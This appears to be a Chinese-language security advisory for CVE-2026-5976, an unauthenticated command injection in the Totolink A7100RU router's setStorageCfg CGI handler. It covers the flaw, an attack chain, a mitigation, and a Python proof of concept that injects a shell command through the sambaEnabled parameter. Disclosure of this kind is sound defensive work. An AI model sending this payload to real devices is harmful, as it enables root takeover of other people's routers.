IPBUF安全漏洞报告
English
CVE-2026-5976 CVSS 9.8 严重

CVE-2026-5976 Totolink A7100RU远程命令注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5976
漏洞类型
操作系统命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

RCE命令注入物联网Totolink路由器

漏洞概述

Totolink A7100RU路由器在7.4cu.2313_b20191024版本中存在严重安全漏洞。该漏洞位于/cgi-bin/cstecgi.cgi的setStorageCfg函数中,由于未对用户输入的sambaEnabled参数进行严格过滤,导致攻击者可构造恶意数据执行操作系统命令。此漏洞无需认证且无需用户交互即可远程利用,导致设备完全被控制。

技术细节

该漏洞的核心成因是Totolink A7100RU路由器在处理存储配置请求时存在输入验证缺失。具体而言,其Web服务组件CGI Handler中的setStorageCfg接口接收用户提交的sambaEnabled参数时,未经过任何安全过滤直接拼接至系统Shell命令中执行。由于CVSS向量显示无需认证(PR:N)且可网络访问(AV:N),攻击者可向/cgi-bin/cstecgi.cgi发送特制的HTTP POST请求。一旦请求被处理,注入的Shell命令(如`;`或`&&`后的恶意指令)将在设备后台运行。这允许攻击者绕过身份验证,以Root权限执行任意系统指令,从而完全接管受影响设备。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,寻找开放Web管理端口的Totolink A7100RU设备。
STEP 2
2. 漏洞利用
攻击者向/cgi-bin/cstecgi.cgi发送精心构造的POST数据包,在sambaEnabled参数中注入恶意Shell命令。
STEP 3
3. 命令执行
后端CGI程序处理请求时,将恶意参数拼接到系统命令中执行,触发命令注入。
STEP 4
4. 权限获取
攻击者成功执行任意系统命令,获得设备Root权限,可进一步植入后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Malicious payload to inject command (e.g., create a test file or reverse shell) # The payload injects a command separator ';' payload_data = { "topicurl": "setStorageCfg", "sambaEnabled": "1; touch /tmp/pwned; #" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } try: response = requests.post(url, json=payload_data, headers=headers, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
如果无法立即升级固件,建议通过ACL规则仅允许受信任的内网IP访问路由器的管理接口,并监控设备的异常流量与进程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表